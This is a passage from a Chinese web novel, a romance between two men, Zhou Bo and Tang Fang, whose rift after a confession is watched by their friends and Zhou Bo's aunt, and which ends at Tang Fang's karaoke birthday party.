”周勃忍不住低声骂了句,坐在楼梯上,仰头看着墙面, 洁白的顶面儿像是看不惯他老是盯着, 慢悠悠撒下点点墙粉。 墙粉落到楼梯角落,糊出一抹惨淡的白。 楼梯间的窗户此时又偷摸儿溜进来点风, 顺着上滑的楼梯强行抽在周勃脸上,抽得他发丝缭乱, 脑瓜子疼。 眯着眼睛, 狠狠抓了把头发, 周勃摸口袋里的烟盒。 摸出个打火机。 烟在客厅桌子上。 想到唐放还在里面,周勃将打火机收进裤兜, 觉得烟也不是非抽不可。 烟盒上明晃晃几个字:吸烟有害健康。 他就不迫害自己的肺了, 周勃捏着打火机很平静的想。 周山妹在厨房忙活, 陈牧德进来了,他东收拾收拾, 西捯饬捯饬, 周山妹洗好的碗筷他都还放池子里要再洗一遍。 “牧德啊,你快出去坐着, 这里边有我就行了!你说说你这孩子,过来吃饭还非得找点事儿做!” 周山妹笑得脸僵,赶紧把池子里洗好的碗拿上来,生怕他再拿下去洗一遍。 陈牧德进来只是想找点儿事做,不出去就行,眼瞎心盲,也没意识到周山妹是嫌他碍事。 “不了姨,我进来帮帮你!”陈牧德手里没了碗,又拿起扫把,开始在厨房扫地。 这台面儿上都还没整干净,就开始收拾地板儿了? 周山妹嘴角抽抽,她拿过陈牧德手里的扫帚,“哎呀!真没什么要帮忙的!你赶紧去坐着吧,和周勃唐放他们说说话!” 奈何陈牧德就是不出去,死皮赖脸儿的想在厨房里待着。 一来一回,周山妹也察觉出不对劲儿了。 “……你是不是和他们吵架了?”周山妹狐疑道,“还是他们排挤你了?” “没有!没有的事!”陈牧德连忙摆手。 “真没有?” 陈牧德说:“那当然了!我这么好一人,谁舍得排挤我啊!” 周山妹被陈牧德这不要脸的话逗笑了,还是小辈脸皮厚,说出来的话也逗人笑,“没有,你怎么不愿意去客厅待着,快去坐着吧,你个孩子家家的,哪做过什么家务活儿啊!” “好好挣钱,挣大钱然后娶个媳妇儿生个娃才是正经事儿!” 陈牧德连连点头,表示知道了,脚愣是一步没动,他扭捏着,不知道这话该不该说。 “周姨啊,就是,周勃哥和唐放哥是不是吵架了?” 这话一出,周山妹放下手上的抹布:“他们还吵架呢!” “你知道?!” 周山妹说:“他们现在在干嘛呢?在外面吵架??” 陈牧德连忙拉住要出去周山妹,擦擦额头汗水,“没、没呢!就是气氛感觉有点儿——” 话未尽,周山妹能听不出来? “唉——”她长叹一口气,“唐放这孩子挺好的,前两天还回老家帮我们收苞米,肯定是周勃那小子,把人给惹生气了,这都还没好。” “我都嘱咐过他了,让他好好和人说话,两个大男人,有个矛盾很正常的,过两天就好了!”周山妹说着,眉间的褶皱不见消除,她也不明白,能有什么矛盾,怎么这么久都还没过去啊? 陈牧德觉着自己怕不是听错了,“不是,姨,你刚才说什么?” “我说,他们俩大男人,有个矛盾,两天就好了!”周山妹重复。 “不是这句!”陈牧德有些急:“你说,放哥他之前回老家,是给周姨你们家掰苞米的?” 周山妹奇怪的看他一眼,“对啊!怎么了?” 陈牧德:“……” 难道他放哥真就这么好心,牺牲自己也要帮兄弟的帮? 可是,也不对啊?那他回来说的那话什么意思?人家对他不满意? 这不是让人瞎想吗? 陈牧德大脑宕机,很想跑过去找放哥问清楚。 可他不敢。 这时候的人哪有什么同|性|恋的概念,一个男人对另一个男人很好,那也只能归咎于这哥们能处,兄弟有事儿,他真上! 陈牧德自问,放哥是那种人吗? 更别说,哪个男人能这样照顾自己兄弟的? 忽的,陈牧德心中升起个让他汗毛直立的想法,甚至怎么挥都挥不走。 连着周山妹叫了他好几声儿都没反应过来。 “想什么呢?”周山妹看着陈牧德半天没反应。 陈牧德摇摇头:“没,没想什么,周姨,我先出去看看!” 客厅里早没了周勃的身影,只剩唐放一人靠坐在沙发上,头仰着,露出锋利的下颚线,不知道在想什么。 陈牧德凑上前,小声说:“放哥,周勃哥呢?” 唐放瞥了他一眼,没说话。 陈牧德急了,“唉!不是,你不会把周勃哥气走了吧!” 唐放还是没回他,不知道在想什么,和平时的他一点儿不像,看人目光都厌厌的。 陈牧德不说话了,忐忑坐在沙发上,他越想,越觉着自己想的对,不然怎么解释? 坐也坐不了多久,等陈牧德和唐放走的时候,周勃也没回来。 回去路上。 陈牧德走在唐放身旁,轻声问道:“放哥,你之前说你去掰苞米,你是不是去帮周勃家掰了?” 陈牧德就是这样,人前叫人哥,人后直接喊名儿了,不过他想了想自己的猜测,还是给周勃后边儿加了个哥。 “就是周勃哥家,刚才周姨在厨房都给我说了,说你们俩吵架了,还让我给你们俩劝架。” 咽咽口水,陈牧德继续说:“我能问不,就是——” “不能。” “……哦。” 唐放步子快,陈牧德只能加快脚步,一路上沉默异常,眼看着再走个几分钟就要到了,陈牧德也不可能大咧咧在出租屋里说。 “放哥,我就问一句。” 唐放不鸟他。 陈牧德眼睛看看四周,没人,这才又用小声语调说话,偷感十足。 “你是不是喜欢周勃哥啊?” “啪嗒!” 陈牧德头撞到唐放背上,给他撞得踉跄两步,刚站稳身体,抬头就对上唐放的目光。 那双丹凤眼看着他的目光很是锐利,再加上陈牧德原本就对唐放抱着一定的敬畏之心,此时对上唐放的视线,瞄了眼他饱满而富有力量感的肌肉,陈牧德缩缩脑袋。 “咋、咋了?” 难道放哥不喜欢周勃吗? 陈牧德挠挠脸颊,想着要怎么弥补刚才的话,说自己就是开个玩笑。 但出乎他意料的是,唐放嘴唇动了动,眼睛眯着,像是重新认识了陈牧德似的,“你是怎么知道的?” 卧槽! 还真是! 陈牧德心中掀起惊天骇浪,这就像是你从小到大认识的妹子娇娇软软可可爱爱,结果发现掏出来比他还大,这样的震惊。 关键是,放哥竟然就这么说出来了! 陈牧德哆哆嗦嗦,“我,我就是猜的,没想到……”是真的。 “怎么猜出来的?” 陈牧德瞅了眼唐放的脸色,见他没生气,这才说出自己的猜想,“就是,也没见哪个男人能这样上心自己兄弟的,再加上,我总感觉,放哥你对周勃,周勃哥,是不是太好了?” “然后你回来又说,人不满意你,我就想着,哪个姑娘会不喜欢你,除非是个男的。” 唐放笑了下,笑得陈牧德腿软,是那种略带讽刺的笑,“连你都看出来了。” 结果人还装傻呢,去你大爷的兄弟。 “唉!放哥!你别走啊!等等我!”陈牧德赶忙追上去。 边追边小声问,“那周勃哥呢?他咋样?他喜欢你不?” 唐放大步往前走,声音里带着点咬牙切齿,“他?他想和我做兄弟呢!” 卧槽! 陈牧德这已经不知道是多少个我艹了!感觉从这桌饭开始到最后,他都是一种时时刻刻处在震惊的状态,一个刚结束,另一个又来了! 所以这是已经捅破窗户纸了,然后另外一人想把这窗户纸糊回去! 那然后呢! 陈牧德着急忙慌又追上去,想问个清楚。 可惜,出租屋很快就到了,陈牧德收住嘴。 因着项目结束,这些天的累,总要用一顿大餐解决,众人早早就兴奋着要去哪儿吃饭玩。 有人提议,“那正好,之前不是放哥过生日没过成吗?这次要不就正好一起了得了!” 这话一出,瞬间有人答应,“可以啊!” “我看行,正好一起得了!” 上次说要给人过生,结果人没到,还给放哥荷包宰了一大笔,说到底就是放哥请他们玩了,总有人觉着有点儿对不住人。 这次不就正好了吗? 难道放哥他家还有苞米要掰? 就这样商定了,有人给回来的唐放说这事儿。 以前都没怎么过过生日,唐放本就对生日这事儿不感冒,说要重新过,那就重新过。 他没意见。 王伟杰看出唐放这几天心情不佳,这次回来唐放看着似乎周身氛围更冷了。 他找到一旁跟着回来的陈牧德,问放哥这几天是咋回事? 陈牧德一脸怪异,看着问他的王伟杰,他嘴巴动动,最终挥挥手,“别问了别问了!我也不知道!” 他知道也不能说啊! 他不知道自己的态度可把王伟杰气得不行,一把拉住人的后领子提到面前来,皱着眉:“你说清楚,什么不知道?” 陈牧德被他这手拉的一个踉跄,甩开他的手,指着王伟杰的鼻子,“你你你,你干什么啊,别动手动脚的!咋的,你是同|性|恋是吧!” 大概是同|性|恋这三个字在他脑中占领了大多数脑容量,嘴里嚷嚷着嚷嚷着就把这三个字说出了嘴。 王伟杰此时脑中满是问号,他都搞不懂陈牧德这个逼一天天的脑子里到底在想什么? 什么词儿都能给他说出来! 王伟杰黑着脸,把人拉到角落,“你tm说什么呢!什么同|性|恋,我是问你放哥最近是怎么回事?” 陈牧德之前被这人打过,两个人在一块,也不敢太过造次,但依旧是鼻子不是鼻子,嘴巴不是嘴巴,“你不是知道吗?放哥被人甩了啊,谁被喜欢的人甩了那当然都这样啊?难道还整天笑着啊!” 王伟杰:“……” 真是这样? 他们定了后两天的餐厅包厢,还定了附近卡拉ok大包厢准备一起去唱歌,其中最重要的,最让王伟杰上心的,那当然是自己的妹妹。 这妮子还不死心,就准备那时候趁着人开心表白呢! 王伟杰这才要把唐放心情摸透,别到时候心情不好。 语气重了。 他是真怕自家妹妹伤心过度做什么傻事,毕竟是喜欢了这么久的人。 不过他也支持让她去表白,正好让人死心。 陈牧德也看出王伟杰有事儿,转念想到了王敏,这姑娘可谓是真真的对放哥的真爱。 “怎么,小敏她是怎么了?”陈牧德咽咽口水,觉得今天冲击还挺大的,到哪儿都有八卦。 王伟杰瞥了他一眼,没好气的说:“她要表白,我想着让放哥回绝的委婉些,别让她太伤心。” 陈牧德对此毫不意外,并发出疑问:“不过,放哥要是真说委婉了,那不就达不到让小敏死心的目的了吗?” 王伟杰看着他,陈牧德觉着这目光叫人头皮发麻,他搓搓手臂,“咋、咋了?” “你……” “我?” “没什么。”王伟杰觉着自己找陈牧德就是个傻|逼,还不如直接去找放哥说两句。 周勃在楼梯间坐了许久,久到唐放和陈牧德离开,周山妹出来找人,他才拍拍屁|股慢悠悠回去。 他脑子混沌,周山妹问他也一句没答。 气得周山妹给了他几个白眼,也懒得去管这些小辈的事了。 夜晚,海城的夜晚很是寂静。 和村里不一样,村里的夜晚呼吸都带着山林的气息,时不时还有些撕心裂肺的蝉鸣伴你入眠。 在海城,寂静得仿佛连自己的心跳都能听得一清二楚。 周勃躺在床上,翻来覆去的睡不着。 月光透过窗户照进屋里,映出深深浅浅的亮斑,和村里那皎洁透亮的月光不一样,斑斑点点的惹人心烦。 半夜,睡不着的周勃又从床上坐起来,在客厅给自己倒了杯水,狠狠灌下。 一双眼睛在黑暗的客厅中亮得惊人。 艹!唐放这个傻|逼! 说的tm的什么话?! 水杯狠狠砸在桌上,发出哐当的声音。 周勃大步走到座机前,照着熟悉的号码拨过去。 拨号声在房间中异常响亮,能听出主人此时带着点儿气。 很快,对面接起来了。 是个带着睡意的声音,不熟悉,“喂?” 周勃捏紧话筒,半天没说话。 这人没听到声音,嘟囔了一句:“大半夜打过来,到底有没有事啊?” “喂!” 周勃冷静的挂断电话。 他觉着自己也是个傻|逼。 50-60 第51章 第 51 章 清早, 有人大早上在出租屋离骂骂咧咧。 “昨天不知道是哪个傻逼,大半夜打电话过来吵人睡觉!” “电话接了又不说话,跟个死人似的,我还纳闷这是谁来着, 结果你猜怎么着, 人直接给我挂了!” “哈哈哈哈哈可把你气死了是不是!” “那可不!下次再让我接到这个号码我指定先骂他两句, 尾号我都记得清清楚楚!”这人说的咬牙切齿, 任谁大半夜被一通电话吵醒, 还是啥事儿没有的电话,也得气得不行。 你说说你,白天打电话不行嘛? 非得晚上来这一出, 咋的, 是那昼伏夜出的动物是不? 陈牧德在一旁听得津津有味,他自个儿昨晚上老早睡觉了, 根本没听到什么电话声儿。 反正这两天大家伙儿都闲,只有等到下个项目开工才会忙起来, 整天人在屋里, 那不就是打屁吹牛, 三三两两聚在一起打打牌什么的,一点小事儿也能给吹个半天。 风扇在出租屋呼呼吹着, 吹完一个轮着下一个, 把它累得嘎吱嘎吱直叫。 伴随着众人嘈杂的声音, 电视机里正放着电视剧,女人的声音温柔软糯, 叫人听着听着就不自觉陷入她的嗓音中, 显然,男人对温柔的女人最是承受不住, 女主角的追求者众多。 而男主角,靠着众多兄弟的助攻,成功在众多追求者中杀出重围,抱得美人归。 陈牧德看着这剧情,磨砂着下巴。 他在想,他要不要也给放哥当当媒人? 陈牧德不歧视同|性|恋,或者说大多数人,只要没发生在自己身上,那都是相当友好的。 再说了,小敏多好一姑娘,可不能让放哥霍霍了,陈牧德思绪发散,想到不少爱情剧里,那些得不到爱人的男人最终心灰意冷选择了另外的姑娘,结果弄得两头不讨好。 太悲惨了! “放哥应该不是那种能将就的男人吧?” 陈牧德小声嘀咕。 离他近的一个哥们没听清楚,“啥?你说啥?” “没什么,没什么!”陈牧德给他这声吓得浑身一颤,“就是看这电视剧,里边这男的喜欢女主,但是他又不是男主角,会不会选择和喜欢他的姑娘结婚。” 这哥们说:“我觉得会,总不可能不结婚吧!” “唉!我问你,你是愿意和你喜欢但是不喜欢你的人结婚,还是愿意和喜欢你但你不喜欢她的人结婚?” 陈牧德:“……我就不能和我喜欢并且也喜欢我的人结婚吗?” 这哥们显然经历过什么,“人不能既要又要,你懂不懂!等你再过几年就知道了,遇上一个喜欢你的人很难!遇上一个你喜欢的人,也很难!” “都互相喜欢的!那更难了!我就不奢望遇到个喜欢我的人了,有个我喜欢的也行啊!” “还没试过电视剧里那种死去活来的滋味儿呢!” 陈牧德心说,那可未必,像他喜欢周梅,小敏喜欢放哥,放哥喜欢周勃,这不多得是吗? 想了想,他觉着他还是把周勃带过来吧,别真到时候,放哥脑袋出问题了被门夹了,那小敏多无辜啊! 王伟杰这哥还打算再送她去考大学呢! 只要思想不滑坡,方法总比困难多。 陈牧德悄咪咪的出门了,他先是去唐放家楼下想堵人,没堵到人,差点被人以为是不怀好意的人给抓起来。 经过解释,才好歹没去派出所。 这都够倒霉的了,更让陈牧德没想到的是,大爷的,周勃竟然不回家! 他遇到周山妹,她正给周勃送饭回来,周山妹见到他很是惊讶,“你来了怎么不去楼上坐啊!在这里等什么?!” 陈牧德看了眼周山妹身后说:“啊!没事儿,姨,周勃哥呢?怎么都没见着他人啊!” 周山妹说:“他还在公司呢,我刚给他送饭过去。” 陈牧德:“……” 第二天,陈牧德直接去了周勃公司楼下,这次终于堵住周勃了。 周勃看着从阴影里冲出来的人,太阳大,他眯着眼睛才把面前人看清,“陈牧德?” “我靠!周勃哥!想见你一面可真难!”陈牧德摸了把脸上的汗水。 “有什么事吗?”周勃见太阳大,照得人头皮疼,“上去说。” 陈牧德跟着周勃进了他公司,一路上东张西望,等坐到他办公室的沙发上,这才安分下来,看向周勃的目光中满是惊叹。 周勃觉着自己在他眼中莫不是成了个画像中的猴子? 还是那种会唱歌弹琴的。 陈牧德咽咽口水,“周勃哥,你老实告诉我,你一个月工资到底多少?” “有一千不?” 周勃笑眯眯。 陈牧德立马心领神会,这肯定是不止了。 “说吧,你找我什么事?”周勃拉开窗帘,他脸上笑意淡了许多,这两天,他几乎都这样。 只要一空闲下来,必然想到唐放。 光是想起他的脸还不够,想起他说的话,想起在村里的相处,想起他嘴贱,又想起他让自己醍醐灌顶的话,想起他那不咸不淡的安慰。 陈牧德说:“周勃哥,瞧你这话说的,没事就不能找你聊聊天吗?” 周勃可不信他这话,陈牧德和自己的交集本就是因为中间夹着个唐放,现在单独来找他,肯定有事。 “因为唐放?”周勃淡淡说,“还是他出什么事了?” 陈牧德:“……”周勃哥是人精吗? “那啥,周勃哥,是这样儿的,我们不是上个项目弄完了吗?这不想着庆祝庆祝,然后上次想给放哥过生日来着,但是最后没过成。” “这次大家伙儿就想着,顺便把上次的生日给补上。” 陈牧德说出来龙去脉,瞥了眼周勃的脸色,继续说:“所以想过来问问你,你去不去啊周勃哥?” 周勃问:“是唐放叫你过来问的吗?” “没没没,”陈牧德连忙解释,“我自己想的,这不是放哥过生日吗?周勃哥你和他关系这么好,所以想叫你一起去。” 就私心来说,放哥肯定也是想让他去的。 周勃没说话,陈牧德也不敢说什么,就静静的等着。 办公室里开着空调,凉风挤满整个办公室,和外边儿的气温形成两个极端。 陈牧德很是凉快,他还给自己倒了杯水。 周勃手心却冒出来点汗,最终,他说:“我就不去了,你们那么多人,我也就只认识你和唐放,过去太尴尬,你们也玩的不尽兴。” 陈牧德没想过这个问题,“没事的!周勃哥你要是去了我们大家伙儿一定欢迎!” “这有什么的!” 陈牧德又说了几句话,大概意思就是他们不介意,让周勃去就行了,要是放哥见到他一定会开心的! 可惜的是,周勃全程笑着听他逼逼叨,没说去也没说不去。 其实是个人也能看出来了,周勃不去。 陈牧德最后没办法了,知道大概周勃哥是不去了,只能在心里对放哥说声对不起,临走前留下地址:“周勃哥,我们明天晚上六点左右在君悦来饭店吃饭,完了大概8点在橙色卡拉OK唱歌,你要是来,到时候直接到这儿就行了!” 周勃点头,把人送出门。 他回想着刚才陈牧德说的两个地点。 很熟悉,就在筒子楼附近。 可能住得近就是这样,有时候他甚至不知不觉就停在筒子楼下。 当然,不是因为他特意去的,他回家得经过这里,可周勃总会停那么两三分钟,他也不知道为啥,就停着,抽根烟的功夫,再又慢吞吞的回家。 周勃上下班好像都这样,三点一线,从来没变过。 他就像是个预定好闹钟的人,甚至就连衣服,他从来只穿那几身,其他的全是一样的款式,一套衣服买好几套。 唐放,就像个预定之外的人。 时不时把他的闹钟打破。 以前是小姑能时不时把他的闹钟调快调慢,现在,唐放想直接变成电池嵌在里边儿。 可闹钟转了那么久了,哪儿有那么容易嵌进去的。 陈牧德和唐放说了自己去找周勃的事,还说了周勃可能不会来。 这两天唐放也不好受,心是煎熬着,烟一根一根的抽,这时候听到陈牧德这消息,也不知道怎么想的。 “滚滚滚!” 唐放眉头紧锁一把将陈牧德推出房间。 铁质的烟灰缸里塞满了烟头。 皱巴巴的床单蜷缩在角落,看着这个在床边沉默的男人。 唐放有些泄气,忽然觉的,自己是不是逼的太快了,要是周勃连朋友都不肯做怎么办? 要是他真的去相亲了,他能阻止吗? 他有权利阻止吗? 他会不会是那个被放弃的人? 这种想法充斥他的大脑,唐放甚至一瞬间想回到之前,想去找周勃,告诉他,我们暂时做朋友也挺好的。 可理智拖住了他,男人的自尊死死拴住他,叫他动弹不得。 王伟杰推门进来,看到的就是唐放吞云吐雾的模样,他扫了眼烟灰缸,一时乍舌。 从唐放手里夺过烟,王伟杰掐灭,皱眉道:“你不要肺了?抽这么多烟?国家税收不差你这一点!” 唐放淡淡扫了他一眼,没说话。 王伟杰看着这乱七八糟的房间,一时间不知道说什么。 “你真这么喜欢她?” 唐放看着王伟杰,那眼神意思很明显,“你说呢?” 王伟杰,“那我放心了,明天小敏要找你表白,你拒绝她,说话委婉点。” 想了想,王伟杰又说:“也不用太委婉。” 唐放差点给王伟杰这话气笑了,我tm都成这样了,你还过来惦记你妹妹给我表白,让我说话好点? 或许是觉着唐放真有点可怜,王伟杰拍拍唐放的肩膀,“别想了,相信时间会冲淡一切,哪个兄弟不是这样过来的,到现在不也好好的?放哥,说句实在话,你就是经历的少了!” “以前能让你看上眼的都少,不然不会成这样儿!” 唐放拍开王伟杰的手,瘫倒在床上,纹着纹身的手臂遮住额头,阴影遮住那双丹凤眼,带着点失神:“以后也没有了。” 王伟杰:“……”真有这么喜欢? 第52章 第 52 章 周山妹觉着自家侄子最近有些怪, 倒杯水都能差点儿倒裤腿上,杯子都溢出来了也没注意到,还是她给提醒了两句才发现。 吃饭也是,要叫个好几声人才听得见, 一口饭能嚼几十下! 周山妹边走路边和赵姐聊天, 一时聊到了自己侄子, 她有说不出的奇怪。 “他最近跟丢了魂似的, ”周山妹说, “也不知道在捣鼓什么,大半夜都还能有声音传出来,我起来问他干什么, 他又说渴了, 起来喝水。” 想到这儿,周山妹有点忧心忡忡, 皱着眉,“那那是渴了, 那是一晚上没睡!” 赵姐宽慰她:“年轻人都这样!我儿子没结婚之前也是这样, 巴不得一晚上不睡觉, 也不知道在捣鼓什么!” 周山妹一听有相似的,立马追问, “那后来呢?后来咋样了?” 赵姐笑笑, “我后来才知道, 他这是谈恋爱了!” “天天想着那对象儿,能不迷糊吗?!”赵姐笑得脸上的肉都在抖, “所以说, 那些年轻人的事儿都别去管!时候到了,自然而然就来了!” 周山妹依旧皱眉:“可我也没见他周围有什么姑娘出现过啊?” 赵姐说:“现在的年轻人谈恋爱跟做贼似的, 要不能确定,可不会给你说!” “我儿子就是,和人姑娘谈了好久了,确定要结婚了才给我说,你说这气不气人!” 周山妹吃了一惊,“确实气人,找了对象也在给家里说一声啊!好做准备嘛!” “就是啊!”赵姐想起曾经就有气,但她还不忘安慰周山妹:“别管他们年轻人的事,管好咱们自己就行,孩子都大了,也不需要咱操心,说多了他还嫌你烦!” “别管那么多,指不定人闷不吭声,就给你带个媳妇儿回来!” 周山妹有被安慰的,她长叹一口气:“他要真给我带个媳妇儿回来,也就还好了。” “算了,不说了,去看看肉怎么样!” 两人顺着菜市场走,大早上,来买菜的人都多,一眼望去没一个年轻人,全是大爷大妈出来给家里买菜。 大家都是住久了的人,自然有熟悉的买菜摊子,赵姐也有熟悉的,带着周山妹走过去,边走边说她们家吃了很久这家摊子上的肉,都知道这些肉是凌晨现杀的,新鲜得很! 卖猪肉的老板娘看见是老熟人,笑脸盈盈给赵姐从摊位底下拿出块肉,“还是两斤五花肉吧,来,特地给你留的!” 也就是猪肉老板娘和赵姐认识了,熟了,这才给留的。 她摊位上的肉卖得都快,稍稍来晚一点,好部位的肉都没了。 赵姐笑眯眯和她打招呼,还介绍了周山妹认识,大家都热情的聊了会儿天。 买好菜,赵姐带着周山妹走了。 “你知道刚才卖猪肉的老板娘她儿子是做什么的吗?”赵姐回去边走边和周山妹说,“听说她儿子是从美国回来的高技术人才!好不容易从美国回来的,国家特别请她儿子去研究所上班呢!” 周山妹一惊:“美国!” 乡里长大的人,从小到大都没离开过乡村,中国都还没走完,那还知道美国,反正听到国外就觉得厉害。 “对啊!”赵姐说,“就是美国来的!学了不少东西,还交了男朋友呢!” “男朋友?!”这下周山妹又是一惊,“不是她儿子吗!怎么还有男朋友?” “就是男朋友!”赵姐挺直腰杆,“听说国外开放,男的有男朋友!女的还有女朋友呢!” “啊?!” 来自国外的冲击,周山妹说:“那他父母呢?也同意?” “刚开始是不同意的!都说他以后老了怎么办,父母还指望他找个老婆生个孩子呢!以后也好给他自己养老啊!” “然后呢?” “人说这是他自己的选择,会养父母到老,至于自己,孩子领养一个就行了!” 周山妹倒吸一口冷气,“这!这领养的孩子和自己生的怎么能一样啊!” 赵姐说:“是喽,可人家不在意啊!铁了心,老板娘他们也没办法,做父母的,难道还能和孩子对着干?” 周山妹点点头,这话她认同,“哪个父母不想儿女好啊!” “是啊!”赵姐说,“既然改变不了了,难道还逼着孩子跳楼啊?到时候人没了,不止自己气自己,国家也气你!” “人父母接受了,听说老板娘现在到处给他相亲,找的男的,就是不想人到时候找了个国外的,说到底,还是国内人好些。” 周山妹听了一嘴的瓜,听得脑袋都发热,大早上出了一脑门汗,连带着脑容量都扩充了! 等到下午给周勃送饭,周山妹把自己听到的八卦讲给周勃听,丝毫没注意人僵硬的脸。 “你说这国外还真是的,咋就能出来男的喜欢男的,女的喜欢女的的事儿?”周山妹感慨道,这是普通人对花花世界的好奇。 周勃吃了口饭:“你不反感讨厌?” “这有什么讨厌的,”周山妹奇怪的看了他一眼,“那是人家的事儿,咱们说到底就是外人,有什么好指手画脚的,那是人家过日子,又不是咱们。” “你快吃,吃了好赚钱,我还等着你结婚好生个孩子呢!”周山妹笑着说,“趁我还没老,也能给你们带带孩子。” 周勃眼睛闪烁,这已经是不知道多少次小姑说这样的话了,可是他自己知道,他大概率是一辈子都不会有自己的孩子。 他是无精症。 送走了小姑,周勃站在窗户前,没来由的感觉到了点冷。 心冷。 他生不出孩子,难道还能给人偷一个回来? 员工到了点儿下班了,周勃走的时候外边儿一片黑,或许是他这几天上班的缘故,员工们说话都小心翼翼,本就是安静的办公环境,从早到晚,除了董军时不时进来一会儿,周勃差点儿以为没人。 也或者是他想得太深入了。 夜晚,路上行人游玩。 这时候该下班的都下班了,不少女孩挽着男朋友的手臂逛街,俏丽的卷发翘起娇俏的色彩,一身长裙衬得女孩魅力四射。 路上人穿的潮流,不像00年流行非主流,都是正统的俏丽港风,火遍大江南北的港星席卷国内,宽松牛仔几乎人手一条,还有垫肩西装。 像周勃和唐放这种不受影响的人,很少。 还有在海城开了一串儿的卡拉OK,也成了海城年轻人下班后玩耍的重要场所。 不知不觉,时间来到8点多。 橙色卡拉ok的牌子闪着光立在门牌上,不少结伴的男男女女相约走进去。 周勃站在门口,他也不知道自己是为什么停在了这里。 打火机在黑夜中打亮,一根烟静静点燃。 周勃没抽,就捏在指缝里,大脑放空,或许还是陈牧德的话让他受到了影响。 算了,站会儿吧,他想。 等抽完烟,就回去。 香烟一点一点燃尽,不少进去的人都莫名其妙看了眼周勃,不明白这个帅哥点了烟不抽是咋回事儿。 周勃不疾不徐,他本身也不是个容易着急的人,等到烟燃到烟屁|股,他走到一旁巷子口,正准备把烟扔掉,不知时不时他的错觉。 他好像听到一声“放哥”? 周勃眯着眼睛,顺着巷子朝里边看去。 微弱的光勉强照亮了巷子里,那是个熟悉的身影,在人前边,还站着个姑娘,周勃只能看见这姑娘的背影,不认识。 这俩人应该是从橙色后门出来的,因为周勃能影影约约看见后门,离他们不远。 那姑娘声音软糯,周勃只偶尔能听到个音,不过见多了,他大概能猜出这是在干什么。 表白呢。 这本该是让人回避的场景,可不知怎么的,周勃的脚动不了了。 他之前只在陈牧德口中见识过唐放这人似乎挺受姑娘欢迎,就是人嘴巴贱,没哪个姑娘受的了,最后全掰了。 没想到,这扔个烟头,也能碰见这事儿,周勃心中嗤笑,觉得自己这运气还挺好。 随后他又嘲笑唐放,你说说这人,大把妹子不抓,抓着个男人不放,是不是有病? 不过很快,他笑不出来。 周勃觉着,他貌似和唐放对上眼睛了。 没错,确实是对上眼睛了。 这人直勾勾的盯着他,盯得周勃后背发毛,甚至生出了点儿不自在。 周勃看见他很快收回视线,对着他前面那姑娘不知道说了什么,随后将人撂下,直接大步朝他这边走过来。 周勃脑子瞬间宕机,也不知道怎么想的。 直接转身,拔腿就跑。 但他运气不怎么好,陈牧德这家伙什么时候出来不好,正好从橙色正门出来找人,眼睛一扫,自然而然看见了周勃,眼睛一亮,朝着他走过来。 周勃这转身跑路,正巧和陈牧德撞个正着。 “哎哟!”陈牧德被硬生生撞得后退几步,“周勃哥,你干嘛呢?来了怎么不进去?” 周勃也被撞得后退几步,背刚好贴上某个追上来的人的胸膛。 灼热的胸膛散发的热气差点儿把周勃后背给烫化。 陈牧德这时候也看到了周勃身后的唐放,“……放哥,原来你在这儿啊!我找你好半天呢!” 唐放根本不管陈牧德这逼说啥,手放在周勃肩膀上,语气淡淡:“你跑什么?” 周勃嘴角抽抽,没转身:“那你追什么?” “你不跑我当然不追。” 周勃觉着唐放这丫的就是个傻|逼,我tm不跑,等你再上来给我几句突突? 他面上不显,和陈牧德打招呼笑笑,“我就是路过,要回去了。” 陈牧德当然不信,他看了眼唐放的表情,犹豫了会儿,“那啥,周勃哥,来都来了,进来玩玩呗!唱两首歌,好歹放哥过生日,也高兴高兴。” 可不就是高兴吗?陈牧德觉着也就周勃哥来了这会儿,放哥是真有点高兴了。 不然,他都怀疑放哥是来走个过场! 第53章 第 53 章 卡拉OK的包厢中人声嘈杂, 陈牧德他们人多,包了三个包厢,分到每个包厢中人就少了。 不少不唱歌的人围成一桌边吃边玩,比划着小蜜蜂, 熟悉的小蜜蜂快要在他们中飞烂了。 众人嘻嘻哈哈, 包厢中来了个陌生人都没意识到。 周勃没办法, 被陈牧德拉了进来, 坐在沙发边儿, 距离门很近。 台上不知道是谁在唱歌,拉着嗓子,表情生动, 时而高声破音时而摆动臀部, 给底下时不时看一眼的人逗得直乐。 等人不好意思腆着脸下来,还有人朝他鼓掌吹口哨, 一阵夸奖。 “没想到啊!唱歌唱得这么好听!歌神啊!” “厉害!当代歌神!” 有好事者当场撺掇,“快!再上去唱两首!” “不了不了, 再怎么歌神也要保持神秘感!”这人连连摆手。 周勃左手边坐着陈牧德, 右手边坐着唐放, 尴尬的不行,想着自己刚才跟着进来干什么? 而陈牧德看着唱歌那哥们下来, 没人上去, 开始心痒痒了, 没坐住,对周勃说。 “周勃哥, 你们聊, 我上去给你们唱首歌去!” 周勃:“” 陈牧德唱的是自己最喜欢乐队的歌曲,熟悉的音乐再度响起。 昏暗的环境, 带着嘈杂的人声,周勃能够感受到身旁这人炙热的温度,他放缓呼吸,努力让靠在沙发上的身体放松,装作若无其事的样子。 熟悉的旋律响彻整个包厢。 周勃看着陈牧德拿着话筒站着,时不时晃两下身体,好似听着这歌就很难不晃身体一样。 “你喜欢陈牧德?” 低沉的声音在周勃右后方响起,周勃一时没反应过来。 其实,更应该让他困惑的是,自己竟然听清楚了唐放的声音。 周勃坐直身体,面上不显,顺手从桌上拿了杯水,喝了一大口:“为什么这么说咳咳咳咳……” 这尼玛哪个龟孙子倒的白酒! 部分酒顺着喉咙流下,火辣辣的,更大一部分酒撒到裤子上,湿了一大片。 这酒是真的呛喉咙,周勃咳得满脸通红,杯子被他重重砸在桌子上,也幸好包厢吵,大家各玩各的,没人在意。 唐放也被周勃这手整得顿了会儿,好半天才伸出手,试探的在周勃背上拍了拍。 弓起的背部弯出点撕心裂肺的感觉。 看着周勃咳得那样,唐放眉头松缓,好笑之余又有些心疼,从一旁倒了杯水递给他。 周勃看了眼,他现在已经分不出是水还是酒了,摆摆手,不喝。 唐放放下杯子,“你这喝个水还能给自己呛到。” “你眼瞎吗?”周勃哑着嗓子,“那是酒!” “哦。” 唐放看着周勃这“凄惨”的模样,这两天极差的心情竟然有了点奇迹的好转,“谁叫你对我这么差劲,现在遭报应了。” 不知道是不是酒的缘故,周勃给他这话气得晕乎乎的,他脸部抽动,暂时忘了这两天的破事儿,“你说说我怎么对你差劲儿了?” “我是不给你吃还是不给你喝了?我还是不给你睡了?” 唐放瞥了他一眼,丹凤眼上挑:“……你确实没给我睡。” 